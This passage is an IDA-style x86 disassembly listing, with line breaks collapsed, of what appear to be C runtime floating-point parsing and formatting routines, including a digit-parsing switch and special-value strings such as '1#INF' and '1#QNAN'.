ecx mov ecx, edx shr edi, cl mov ecx, [ebp+arg_0] or edi, [ebp+var_C] mov [ebp+ecx*4+var_20], edi mov edi, [ebp+var_10] mov ecx, [ebp+var_4] shl edi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], edi jl short loc_41BE61 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41BE9E: ; CODE XREF: sub_41B9BB+4FAj cmp edx, eax jl short loc_41BEAA mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41BEAF ; --------------------------------------------------------------------------- loc_41BEAA: ; CODE XREF: sub_41B9BB+4E5j and [ebp+edx*4+var_20], 0 loc_41BEAF: ; CODE XREF: sub_41B9BB+4EDj dec edx sub ecx, 4 test edx, edx jge short loc_41BE9E xor eax, eax loc_41BEB9: ; CODE XREF: sub_41B9BB+39Fj ; sub_41B9BB+45Ej pop esi loc_41BEBA: ; CODE XREF: sub_41B9BB+55j ; sub_41B9BB+65j push 1Fh pop ecx sub ecx, dword_424234 shl ebx, cl mov ecx, [ebp+var_14] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx mov ecx, dword_424238 or ebx, [ebp+var_20] cmp ecx, 40h jnz short loc_41BEEF mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], ebx mov [ecx], edx jmp short loc_41BEF9 ; --------------------------------------------------------------------------- loc_41BEEF: ; CODE XREF: sub_41B9BB+525j cmp ecx, 20h jnz short loc_41BEF9 mov ecx, [ebp+arg_4] mov [ecx], ebx loc_41BEF9: ; CODE XREF: sub_41B9BB+532j ; sub_41B9BB+537j pop edi pop ebx leave retn sub_41B9BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEFD proc near ; CODE XREF: sub_41AFBD+37p ; sub_41B063+37p var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_46 = dword ptr -46h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_9 = byte ptr -9 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 7Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx xor ebx, ebx push esi xor esi, esi mov [ebp+var_7C], eax mov eax, [ebp+arg_4] inc esi xor ecx, ecx cmp [ebp+arg_1C], ebx push edi mov [ebp+var_70], eax lea edi, [ebp+var_20] mov [ebp+var_74], ebx mov [ebp+var_68], esi mov [ebp+var_4C], ebx mov [ebp+var_58], ebx mov [ebp+var_5C], ebx mov [ebp+var_60], ebx mov [ebp+var_64], ebx mov [ebp+var_50], ebx mov [ebp+var_6C], ebx jnz short loc_41BF65 call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h xor eax, eax jmp loc_41C57F ; --------------------------------------------------------------------------- loc_41BF65: ; CODE XREF: sub_41BEFD+47j mov edx, [ebp+arg_8] mov [ebp+var_54], edx loc_41BF6B: ; CODE XREF: sub_41BEFD+81j mov al, [edx] cmp al, 20h jz short loc_41BF7D cmp al, 9 jz short loc_41BF7D cmp al, 0Ah jz short loc_41BF7D cmp al, 0Dh jnz short loc_41BF80 loc_41BF7D: ; CODE XREF: sub_41BEFD+72j ; sub_41BEFD+76j ... inc edx jmp short loc_41BF6B ; --------------------------------------------------------------------------- loc_41BF80: ; CODE XREF: sub_41BEFD+7Ej mov bl, 30h loc_41BF82: ; CODE XREF: sub_41BEFD+A6j ; sub_41BEFD+BCj ... mov al, [edx] inc edx cmp ecx, 0Bh ; switch 12 cases ja loc_41C1BD ; default ; jumptable 0041BF8E case 10 jmp ds:off_41C591[ecx*4] ; switch jump loc_41BF95: ; DATA XREF: .text:off_41C591o mov cl, al ; jumptable 0041BF8E case 0 sub cl, 31h cmp cl, 8 ja short loc_41BFA5 loc_41BF9F: ; CODE XREF: sub_41BEFD+F7j ; sub_41BEFD+14Aj push 3 loc_41BFA1: ; CODE XREF: sub_41BEFD+201j ; sub_41BEFD+218j pop ecx dec edx jmp short loc_41BF82 ; --------------------------------------------------------------------------- loc_41BFA5: ; CODE XREF: sub_41BEFD+A0j mov ecx, [ebp+arg_1C] mov ecx, [ecx] mov ecx, [ecx+0BCh] mov ecx, [ecx] cmp al, [ecx] jnz short loc_41BFBB loc_41BFB6: ; CODE XREF: sub_41BEFD+15Fj push 5 loc_41BFB8: ; CODE XREF: sub_41BEFD+10Cj ; sub_41BEFD+138j ... pop ecx jmp short loc_41BF82 ; --------------------------------------------------------------------------- loc_41BFBB: ; CODE XREF: sub_41BEFD+B7j movsx eax, al sub eax, 2Bh jz short loc_41BFE0 dec eax dec eax jz short loc_41BFD4 sub eax, 3 jnz loc_41C15B loc_41BFD0: ; CODE XREF: sub_41BEFD+118j ; sub_41BEFD+167j mov ecx, esi jmp short loc_41BF82 ; --------------------------------------------------------------------------- loc_41BFD4: ; CODE XREF: sub_41BEFD+C8j push 2 pop ecx mov [ebp+var_74], 8000h jmp short loc_41BF82 ; --------------------------------------------------------------------------- loc_41BFE0: ; CODE XREF: sub_41BEFD+C4j and [ebp+var_74], 0 push 2 pop ecx jmp short loc_41BF82 ; --------------------------------------------------------------------------- loc_41BFE9: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o mov cl, al ; jumptable 0041BF8E case 1 sub cl, 31h cmp cl, 8 mov [ebp+var_58], esi jbe short loc_41BF9F mov ecx, [ebp+arg_1C] mov ecx, [ecx] mov ecx, [ecx+0BCh] mov ecx, [ecx] cmp al, [ecx] jnz short loc_41C00B loc_41C007: ; CODE XREF: sub_41BEFD+1A7j push 4 jmp short loc_41BFB8 ; --------------------------------------------------------------------------- loc_41C00B: ; CODE XREF: sub_41BEFD+108j cmp al, 2Bh jz short loc_41C037 cmp al, 2Dh jz short loc_41C037 cmp al, bl jz short loc_41BFD0 loc_41C017: ; CODE XREF: sub_41BEFD+1B5j cmp al, 43h jle loc_41C15B cmp al, 45h jle short loc_41C033 cmp al, 63h jle loc_41C15B cmp al, 65h jg loc_41C15B loc_41C033: ; CODE XREF: sub_41BEFD+124j push 6 jmp short loc_41BFB8 ; --------------------------------------------------------------------------- loc_41C037: ; CODE XREF: sub_41BEFD+110j ; sub_41BEFD+114j ... dec edx push 0Bh jmp loc_41BFB8 ; --------------------------------------------------------------------------- loc_41C03F: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o mov cl, al ; jumptable 0041BF8E case 2 sub cl, 31h cmp cl, 8 jbe loc_41BF9F mov ecx, [ebp+arg_1C] mov ecx, [ecx] mov ecx, [ecx+0BCh] mov ecx, [ecx] cmp al, [ecx] jz loc_41BFB6 cmp al, bl jz loc_41BFD0 loc_41C06A: ; CODE XREF: sub_41BEFD+1F9j ; sub_41BEFD:loc_41C129j mov edx, [ebp+var_54] jmp loc_41C186 ; --------------------------------------------------------------------------- loc_41C072: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o mov [ebp+var_58], esi ; jumptable 0041BF8E case 3 jmp short loc_41C091 ; --------------------------------------------------------------------------- loc_41C077: ; CODE XREF: sub_41BEFD+196j cmp al, 39h jg short loc_41C095 cmp [ebp+var_4C], 19h jnb short loc_41C08B inc [ebp+var_4C] sub al, bl mov [edi], al inc edi jmp short loc_41C08E ; --------------------------------------------------------------------------- loc_41C08B: ; CODE XREF: sub_41BEFD+182j inc [ebp+var_50] loc_41C08E: ; CODE XREF: sub_41BEFD+18Cj mov al, [edx] inc edx loc_41C091: ; CODE XREF: sub_41BEFD+178j cmp al, bl jge short loc_41C077 loc_41C095: ; CODE XREF: sub_41BEFD+17Cj mov ecx, [ebp+arg_1C] mov ecx, [ecx] mov ecx, [ecx+0BCh] mov ecx, [ecx] cmp al, [ecx] jz loc_41C007 loc_41C0AA: ; CODE XREF: sub_41BEFD+1D6j ; sub_41BEFD+1F0j cmp al, 2Bh jz short loc_41C037 cmp al, 2Dh jz short loc_41C037 jmp loc_41C017 ; --------------------------------------------------------------------------- loc_41C0B7: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o cmp [ebp+var_4C], 0 ; jumptable 0041BF8E case 4 mov [ebp+var_58], esi mov [ebp+var_5C], esi jnz short loc_41C0E9 jmp short loc_41C0CB ; --------------------------------------------------------------------------- loc_41C0C5: ; CODE XREF: sub_41BEFD+1D0j dec [ebp+var_50] mov al, [edx] inc edx loc_41C0CB: ; CODE XREF: sub_41BEFD+1C6j cmp al, bl jz short loc_41C0C5 jmp short loc_41C0E9 ; --------------------------------------------------------------------------- loc_41C0D1: ; CODE XREF: sub_41BEFD+1EEj cmp al, 39h jg short loc_41C0AA cmp [ebp+var_4C], 19h jnb short loc_41C0E6 inc [ebp+var_4C] sub al, bl mov [edi], al inc edi dec [ebp+var_50] loc_41C0E6: ; CODE XREF: sub_41BEFD+1DCj mov al, [edx] inc edx loc_41C0E9: ; CODE XREF: sub_41BEFD+1C4j ; sub_41BEFD+1D2j cmp al, bl jge short loc_41C0D1 jmp short loc_41C0AA ; --------------------------------------------------------------------------- loc_41C0EF: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o sub al, bl ; jumptable 0041BF8E case 5 cmp al, 9 mov [ebp+var_5C], esi ja loc_41C06A push 4 jmp loc_41BFA1 ; --------------------------------------------------------------------------- loc_41C103: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o lea ecx, [edx-2] ; jumptable 0041BF8E case 6 mov [ebp+var_54], ecx mov cl, al sub cl, 31h cmp cl, 8 ja short loc_41C11A loc_41C113: ; CODE XREF: sub_41BEFD+25Cj ; sub_41BEFD+269j push 9 jmp loc_41BFA1 ; --------------------------------------------------------------------------- loc_41C11A: ; CODE XREF: sub_41BEFD+214j movsx eax, al sub eax, 2Bh jz short loc_41C142 dec eax dec eax jz short loc_41C136 sub eax, 3 loc_41C129: ; CODE XREF: sub_41BEFD+26Dj jnz loc_41C06A push 8 jmp loc_41BFB8 ; --------------------------------------------------------------------------- loc_41C136: ; CODE XREF: sub_41BEFD+227j ; sub_41BEFD+285j or [ebp+var_68], 0FFFFFFFFh push 7 pop ecx jmp loc_41BF82 ; --------------------------------------------------------------------------- loc_41C142: ; CODE XREF: sub_41BEFD+223j ; sub_41BEFD+281j push 7 jmp loc_41BFB8 ; --------------------------------------------------------------------------- loc_41C149: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o mov [ebp+var_60], esi ; jumptable 0041BF8E case 8 jmp short loc_41C151 ; --------------------------------------------------------------------------- loc_41C14E: ; CODE XREF: sub_41BEFD+256j mov al, [edx] inc edx loc_41C151: ; CODE XREF: sub_41BEFD+24Fj cmp al, bl jz short loc_41C14E sub al, 31h cmp al, 8 jbe short loc_41C113 loc_41C15B: ; CODE XREF: sub_41BEFD+CDj ; sub_41BEFD+11Cj ... dec edx jmp short loc_41C186 ; --------------------------------------------------------------------------- loc_41C15E: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o mov cl, al ; jumptable 0041BF8E case 7 sub cl, 31h cmp cl, 8 jbe short loc_41C113 cmp al, bl jmp short loc_41C129 ; --------------------------------------------------------------------------- loc_41C16C: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o cmp [ebp+arg_18], 0 ; jumptable 0041BF8E case 11 jz short loc_41C1B9 movsx eax, al sub eax, 2Bh lea ecx, [edx-1] mov [ebp+var_54], ecx jz short loc_41C142 dec eax dec eax jz short loc_41C136 mov edx, ecx loc_41C186: ; CODE XREF: sub_41BEFD+170j ; sub_41BEFD+25Fj ... cmp [ebp+var_58], 0 mov eax, [ebp+var_70] mov [eax], edx jz loc_41C53A push 18h pop eax cmp [ebp+var_4C], eax jbe short loc_41C1AD cmp [ebp+var_9], 5 jl short loc_41C1A6 inc [ebp+var_9] loc_41C1A6: ; CODE XREF: sub_41BEFD+2A4j dec edi inc [ebp+var_50] mov [ebp+var_4C], eax loc_41C1AD: ; CODE XREF: sub_41BEFD+29Ej cmp [ebp+var_4C], 0 jbe loc_41C561 jmp short loc_41C212 ; --------------------------------------------------------------------------- loc_41C1B9: ; CODE XREF: sub_41BEFD+273j push 0Ah pop ecx dec edx loc_41C1BD: ; CODE XREF: sub_41BEFD+8Bj ; sub_41BEFD+91j ; DATA XREF: ... cmp ecx, 0Ah ; default ; jumptable 0041BF8E case 10 jnz loc_41BF82 jmp short loc_41C186 ; --------------------------------------------------------------------------- loc_41C1C8: ; CODE XREF: sub_41BEFD+91j ; DATA XREF: .text:off_41C591o mov [ebp+var_60], esi ; jumptable 0041BF8E case 9 xor ecx, ecx jmp short loc_41C1E8 ; --------------------------------------------------------------------------- loc_41C1CF: ; CODE XREF: sub_41BEFD+2EDj cmp al, 39h jg short loc_41C1F3 imul ecx, 0Ah movsx esi, al lea ecx, [ecx+esi-30h] cmp ecx, 1450h jg short loc_41C1EE mov al, [edx] inc edx loc_41C1E8: ; CODE XREF: sub_41BEFD+2D0j cmp al, bl jge short loc_41C1CF jmp short loc_41C1F3 ; --------------------------------------------------------------------------- loc_41C1EE: ; CODE XREF: sub_41BEFD+2E6j mov ecx, 1451h loc_41C1F3: ; CODE XREF: sub_41BEFD+2D4j ; sub_41BEFD+2EFj mov [ebp+var_64], ecx jmp short loc_41C203 ; --------------------------------------------------------------------------- loc_41C1F8: ; CODE XREF: sub_41BEFD+308j cmp al, 39h jg loc_41C15B mov al, [edx] inc edx loc_41C203: ; CODE XREF: sub_41BEFD+2F9j cmp al, bl jge short loc_41C1F8 jmp loc_41C15B ; --------------------------------------------------------------------------- loc_41C20C: ; CODE XREF: sub_41BEFD+319j dec [ebp+var_4C] inc [ebp+var_50] loc_41C212: ; CODE XREF: sub_41BEFD+2BAj dec edi cmp byte ptr [edi], 0 jz short loc_41C20C lea eax, [ebp+var_3C] push eax push [ebp+var_4C] lea eax, [ebp+var_20] push eax call sub_41D2BA mov eax, [ebp+var_64] xor ecx, ecx add esp, 0Ch cmp [ebp+var_68], ecx jge short loc_41C237 neg eax loc_41C237: ; CODE XREF: sub_41BEFD+336j add eax, [ebp+var_50] cmp [ebp+var_60], ecx jnz short loc_41C242 add eax, [ebp+arg_10] loc_41C242: ; CODE XREF: sub_41BEFD+340j cmp [ebp+var_5C], ecx jnz short loc_41C24A sub eax, [ebp+arg_14] loc_41C24A: ; CODE XREF: sub_41BEFD+348j cmp eax, 1450h jg loc_41C543 cmp eax, 0FFFFEBB0h jl loc_41C55A mov esi, offset dword_424240 sub esi, 60h cmp eax, ecx mov [ebp+var_54], eax jz loc_41C528 jge short loc_41C282 neg eax mov esi, offset dword_4243A0 mov [ebp+var_54], eax sub esi, 60h loc_41C282: ; CODE XREF: sub_41BEFD+376j cmp [ebp+arg_C], ecx jnz short loc_41C28B mov word ptr [ebp+var_3C], cx loc_41C28B: ; CODE XREF: sub_41BEFD+388j cmp [ebp+var_54], ecx jz loc_41C528 loc_41C294: ; CODE XREF: sub_41BEFD+625j mov eax, [ebp+var_54] sar [ebp+var_54], 3 add esi, 54h and eax, 7 test eax, eax mov [ebp+var_4C], esi jz loc_41C51E imul eax, 0Ch add eax, esi mov ebx, eax cmp word ptr [ebx], 8000h mov [ebp+var_70], ebx jb short loc_41C2D1 mov esi, ebx lea edi, [ebp+var_48] movsd movsd movsd dec [ebp+var_46] mov esi, [ebp+var_4C] lea ebx, [ebp+var_48] mov [ebp+var_70], ebx loc_41C2D1: ; CODE XREF: sub_41BEFD+3BEj movzx edx, word ptr [ebx+0Ah] mov ecx, [ebp+var_32] xor eax, eax mov [ebp+var_50], eax mov [ebp+var_2C], eax mov [ebp+var_28], eax mov [ebp+var_24], eax mov eax, edx mov edi, 7FFFh xor eax, ecx and ecx, edi and edx, edi and eax, 8000h cmp cx, 7FFFh lea edi, [edx+ecx] movzx edi, di jnb loc_41C504 cmp dx, 7FFFh jnb loc_41C504 cmp di, 0BFFDh ja loc_41C504 cmp di, 3FBFh ja short loc_41C333 xor eax, eax mov [ebp+var_38], eax mov [ebp+var_3C], eax jmp loc_41C51B ; --------------------------------------------------------------------------- loc_41C333: ; CODE XREF: sub_41BEFD+427j test cx, cx jnz short loc_41C357 inc edi test dword ptr [ebp-34h], 7FFFFFFFh jnz short loc_41C357 cmp [ebp+var_38], 0 jnz short loc_41C357 cmp [ebp+var_3C], 0 jnz short loc_41C357 and word ptr [ebp+var_32], cx jmp loc_41C51E ; --------------------------------------------------------------------------- loc_41C357: ; CODE XREF: sub_41BEFD+439j ; sub_41BEFD+443j ... xor ecx, ecx cmp dx, cx jnz short loc_41C37F inc edi test dword ptr [ebx+8], 7FFFFFFFh jnz short loc_41C37F cmp [ebx+4], ecx jnz short loc_41C37F cmp [ebx], ecx jnz short loc_41C37F mov [ebp-34h], ecx mov [ebp+var_38], ecx mov [ebp+var_3C], ecx jmp loc_41C51E ; --------------------------------------------------------------------------- loc_41C37F: ; CODE XREF: sub_41BEFD+45Fj ; sub_41BEFD+469j ... and [ebp+var_68], ecx lea esi, [ebp+var_28] mov [ebp+var_58], 5 loc_41C38C: ; CODE XREF: sub_41BEFD+4FFj mov ecx, [ebp+var_68] mov edx, [ebp+var_58] add ecx, ecx test edx, edx mov [ebp+var_64], edx jle short loc_41C3F0 lea ecx, [ebp+ecx+var_3C] add ebx, 8 mov [ebp+var_5C], ecx mov [ebp+var_60], ebx loc_41C3A8: ; CODE XREF: sub_41BEFD+4EEj mov ecx, [ebp+var_60] mov edx, [ebp+var_5C] movzx edx, word ptr [edx] movzx ecx, word ptr [ecx] and [ebp+var_78], 0 imul ecx, edx mov edx, [esi-4] lea ebx, [edx+ecx] cmp ebx, edx jb short loc_41C3C9 cmp ebx, ecx jnb short loc_41C3D0 loc_41C3C9: ; CODE XREF: sub_41BEFD+4C6j mov [ebp+var_78], 1 loc_41C3D0: ; CODE XREF: sub_41BEFD+4CAj cmp [ebp+var_78], 0 mov [esi-4], ebx jz short loc_41C3DC inc word ptr [esi] loc_41C3DC: ; CODE XREF: sub_41BEFD+4DAj add [ebp+var_5C], 2 sub [ebp+var_60], 2 dec [ebp+var_64] cmp [ebp+var_64], 0 jg short loc_41C3A8 mov ebx, [ebp+var_70] loc_41C3F0: ; CODE XREF: sub_41BEFD+49Cj inc esi inc esi inc [ebp+var_68] dec [ebp+var_58] cmp [ebp+var_58], 0 jg short loc_41C38C add edi, 0C002h test di, di jle short loc_41C444 loc_41C409: ; CODE XREF: sub_41BEFD+540j test [ebp+var_24], 80000000h jnz short loc_41C43F mov esi, [ebp+var_28] mov ecx, [ebp+var_2C] shl [ebp+var_2C], 1 shr ecx, 1Fh mov edx, esi add esi, esi or esi, ecx mov ecx, [ebp+var_24] shr edx, 1Fh add ecx, ecx or ecx, edx add edi, 0FFFFh test di, di mov [ebp+var_28], esi mov [ebp+var_24], ecx jg short loc_41C409 loc_41C43F: ; CODE XREF: sub_41BEFD+513j test di, di jg short loc_41C492 loc_41C444: ; CODE XREF: sub_41BEFD+50Aj add edi, 0FFFFh test di, di jge short loc_41C492 mov ecx, edi neg ecx movzx esi, cx add edi, esi loc_41C458: ; CODE XREF: sub_41BEFD+588j test byte ptr [ebp+var_2C], 1 jz short loc_41C461 inc [ebp+var_50] loc_41C461: ; CODE XREF: sub_41BEFD+55Fj mov ecx, [ebp+var_24] mov ebx, [ebp+var_28] mov edx, [ebp+var_28] shr [ebp+var_24], 1 shl ecx, 1Fh shr ebx, 1 or ebx, ecx mov ecx, [ebp+var_2C] shl edx, 1Fh shr ecx, 1 or ecx, edx dec esi mov [ebp+var_28], ebx mov [ebp+var_2C], ecx jnz short loc_41C458 cmp [ebp+var_50], 0 jz short loc_41C492 or word ptr [ebp+var_2C], 1 loc_41C492: ; CODE XREF: sub_41BEFD+545j ; sub_41BEFD+550j ... cmp word ptr [ebp+var_2C], 8000h ja short loc_41C4AB mov ecx, [ebp+var_2C] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_41C4DE loc_41C4AB: ; CODE XREF: sub_41BEFD+59Bj cmp [ebp+var_2C+2], 0FFFFFFFFh jnz short loc_41C4DB and [ebp+var_2C+2], 0 cmp [ebp+var_28+2], 0FFFFFFFFh jnz short loc_41C4D6 and [ebp+var_28+2], 0 cmp word ptr [ebp+var_24+2], 0FFFFh jnz short loc_41C4D0 mov word ptr [ebp+var_24+2], 8000h inc edi jmp short loc_41C4DE ; --------------------------------------------------------------------------- loc_41C4D0: ; CODE XREF: sub_41BEFD+5C8j inc word ptr [ebp+var_24+2] jmp short loc_41C4DE ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41BEFD+5BCj inc [ebp+var_28+2] jmp short loc_41C4DE ; --------------------------------------------------------------------------- loc_41C4DB: ; CODE XREF: sub_41BEFD+5B2j inc [ebp+var_2C+2] loc_41C4DE: ; CODE XREF: sub_41BEFD+5ACj ; sub_41BEFD+5D1j ... cmp di, 7FFFh mov esi, [ebp+var_4C] jnb short loc_41C504 mov cx, word ptr [ebp+var_2C+2] mov word ptr [ebp+var_3C], cx mov ecx, [ebp+var_28] mov [ebp+var_3C+2], ecx mov ecx, [ebp+var_24] or edi, eax mov [ebp+var_38+2], ecx mov word ptr [ebp+var_32], di jmp short loc_41C51E ; --------------------------------------------------------------------------- loc_41C504: ; CODE XREF: sub_41BEFD+406j ; sub_41BEFD+411j ... neg ax sbb eax, eax and [ebp+var_38], 0 and eax, 80000000h add eax, 7FFF8000h and [ebp+var_3C], 0 loc_41C51B: ; CODE XREF: sub_41BEFD+431j mov [ebp-34h], eax loc_41C51E: ; CODE XREF: sub_41BEFD+3A9j ; sub_41BEFD+455j ... cmp [ebp+var_54], 0 jnz loc_41C294 loc_41C528: ; CODE XREF: sub_41BEFD+370j ; sub_41BEFD+391j mov eax, [ebp-34h] movzx ecx, word ptr [ebp+var_3C] mov esi, [ebp+var_3C+2] mov edx, [ebp+var_38+2] shr eax, 10h jmp short loc_41C569 ; --------------------------------------------------------------------------- loc_41C53A: ; CODE XREF: sub_41BEFD+292j mov [ebp+var_6C], 4 jmp short loc_41C561 ; --------------------------------------------------------------------------- loc_41C543: ; CODE XREF: sub_41BEFD+352j xor esi, esi mov eax, 7FFFh mov edx, 80000000h xor ecx, ecx mov [ebp+var_6C], 2 jmp short loc_41C569 ; --------------------------------------------------------------------------- loc_41C55A: ; CODE XREF: sub_41BEFD+35Dj mov [ebp+var_6C], 1 loc_41C561: ; CODE XREF: sub_41BEFD+2B4j ; sub_41BEFD+644j xor ecx, ecx xor eax, eax xor edx, edx xor esi, esi loc_41C569: ; CODE XREF: sub_41BEFD+63Bj ; sub_41BEFD+65Bj mov edi, [ebp+var_7C] or eax, [ebp+var_74] mov [edi], cx mov [edi+0Ah], ax mov eax, [ebp+var_6C] mov [edi+2], esi mov [edi+6], edx loc_41C57F: ; CODE XREF: sub_41BEFD+63j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_41BEFD endp ; --------------------------------------------------------------------------- db 8Dh, 49h, 0 off_41C591 dd offset loc_41BF95 ; DATA XREF: sub_41BEFD+91r dd offset loc_41BFE9 ; jump table for switch statement dd offset loc_41C03F dd offset loc_41C072 dd offset loc_41C0B7 dd offset loc_41C0EF dd offset loc_41C103 dd offset loc_41C15E dd offset loc_41C149 dd offset loc_41C1C8 dd offset loc_41C1BD dd offset loc_41C16C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5C1 proc near ; CODE XREF: sub_41B281+3Fp var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1A = dword ptr -1Ah var_16 = dword ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 74h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx mov ebx, [ebp+arg_14] push esi push edi lea esi, [ebp+arg_0] lea edi, [ebp+var_10] movsd movsd movsw mov edx, [ebp+var_8] mov ecx, edx mov eax, 8000h and ecx, eax and edx, 7FFFh test cx, cx mov [ebp+var_60], ebx mov byte ptr [ebp+var_30], 0CCh mov byte ptr [ebp+var_30+1], 0CCh mov byte ptr [ebp+var_30+2], 0CCh mov byte ptr [ebp+var_30+3], 0CCh mov byte ptr [ebp+var_2C], 0CCh mov byte ptr [ebp+var_2C+1], 0CCh mov byte ptr [ebp+var_2C+2], 0CCh mov byte ptr [ebp+var_2C+3], 0CCh mov byte ptr [ebp+var_28], 0CCh mov byte ptr [ebp+var_28+1], 0CCh mov byte ptr [ebp+var_28+2], 0FBh mov byte ptr [ebp+var_28+3], 3Fh mov [ebp+var_74], 1 mov [ebp+var_6C], ecx jz short loc_41C63B mov byte ptr [ebx+2], 2Dh jmp short loc_41C63F ; --------------------------------------------------------------------------- loc_41C63B: ; CODE XREF: sub_41C5C1+72j mov byte ptr [ebx+2], 20h loc_41C63F: ; CODE XREF: sub_41C5C1+78j test dx, dx mov esi, [ebp+var_C] mov edi, [ebp+var_10] jnz short loc_41C678 test esi, esi jnz short loc_41C678 test edi, edi jnz short loc_41C678 and [ebx], di cmp cx, ax setnz al dec al and al, 0Dh add al, 20h mov [ebx+2], al mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h mov byte ptr [ebx+5], 0 loc_41C670: ; CODE XREF: sub_41C5C1+6FBj ; sub_41C5C1+8C3j xor eax, eax inc eax jmp loc_41CE41 ; --------------------------------------------------------------------------- loc_41C678: ; CODE XREF: sub_41C5C1+87j ; sub_41C5C1+8Bj ... cmp dx, 7FFFh jnz loc_41C721 mov eax, 80000000h cmp esi, eax mov word ptr [ebx], 1 jnz short loc_41C695 test edi, edi jz short loc_41C6A4 loc_41C695: ; CODE XREF: sub_41C5C1+CEj test esi, 40000000h jnz short loc_41C6A4 push offset a1Snan ; "1#SNAN" jmp short loc_41C6F5 ; --------------------------------------------------------------------------- loc_41C6A4: ; CODE XREF: sub_41C5C1+D2j ; sub_41C5C1+DAj test cx, cx jz short loc_41C6BC cmp esi, 0C0000000h jnz short loc_41C6BC test edi, edi jnz short loc_41C6F0 push offset a1Ind ; "1#IND" jmp short loc_41C6C9 ; --------------------------------------------------------------------------- loc_41C6BC: ; CODE XREF: sub_41C5C1+E6j ; sub_41C5C1+EEj cmp esi, eax jnz short loc_41C6F0 test edi, edi jnz short loc_41C6F0 push offset a1Inf ; "1#INF" loc_41C6C9: ; CODE XREF: sub_41C5C1+F9j lea eax, [ebx+4] push 16h push eax call sub_4117D5 add esp, 0Ch xor esi, esi test eax, eax jz short loc_41C6EA push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h loc_41C6EA: ; CODE XREF: sub_41C5C1+11Aj mov byte ptr [ebx+3], 5 jmp short loc_41C71A ; --------------------------------------------------------------------------- loc_41C6F0: ; CODE XREF: sub_41C5C1+F2j ; sub_41C5C1+FDj ... push offset a1Qnan ; "1#QNAN" loc_41C6F5: ; CODE XREF: sub_41C5C1+E1j lea eax, [ebx+4] push 16h push eax call sub_4117D5 add esp, 0Ch xor esi, esi test eax, eax jz short loc_41C716 push esi push esi push esi push esi push esi call sub_40CA0C add esp, 14h loc_41C716: ; CODE XREF: sub_41C5C1+146j mov byte ptr [ebx+3], 6 loc_41C71A: ; CODE XREF: sub_41C5C1+12Dj xor eax, eax jmp loc_41CE41 ; --------------------------------------------------------------------------- loc_41C721: ; CODE XREF: sub_41C5C1+BCj movzx ecx, dx mov ebx, ecx imul ecx, 4D10h shr ebx, 8 mov eax, esi shr eax, 18h lea eax, [ebx+eax*2] imul eax, 4Dh lea eax, [eax+ecx-134312F4h] sar eax, 10h movzx ecx, ax movsx ebx, cx mov [ebp+var_4C], ecx xor eax, eax mov ecx, offset dword_424240 neg ebx sub ecx, 60h cmp ebx, eax mov word ptr [ebp+var_16], dx mov [ebp+var_1A], esi mov [ebp+var_20+2], edi mov word ptr [ebp+var_20], ax mov [ebp+var_68], ecx jz loc_41CA20 jge short loc_41C781 mov ecx, offset dword_4243A0 neg ebx sub ecx, 60h mov [ebp+var_68], ecx loc_41C781: ; CODE XREF: sub_41C5C1+1B1j cmp ebx, eax jz loc_41CA20 loc_41C789: ; CODE XREF: sub_41C5C1+457j add [ebp+var_68], 54h mov ecx, ebx and ecx, 7 sar ebx, 3 test ecx, ecx jz loc_41CA16 imul ecx, 0Ch add ecx, [ebp+var_68] 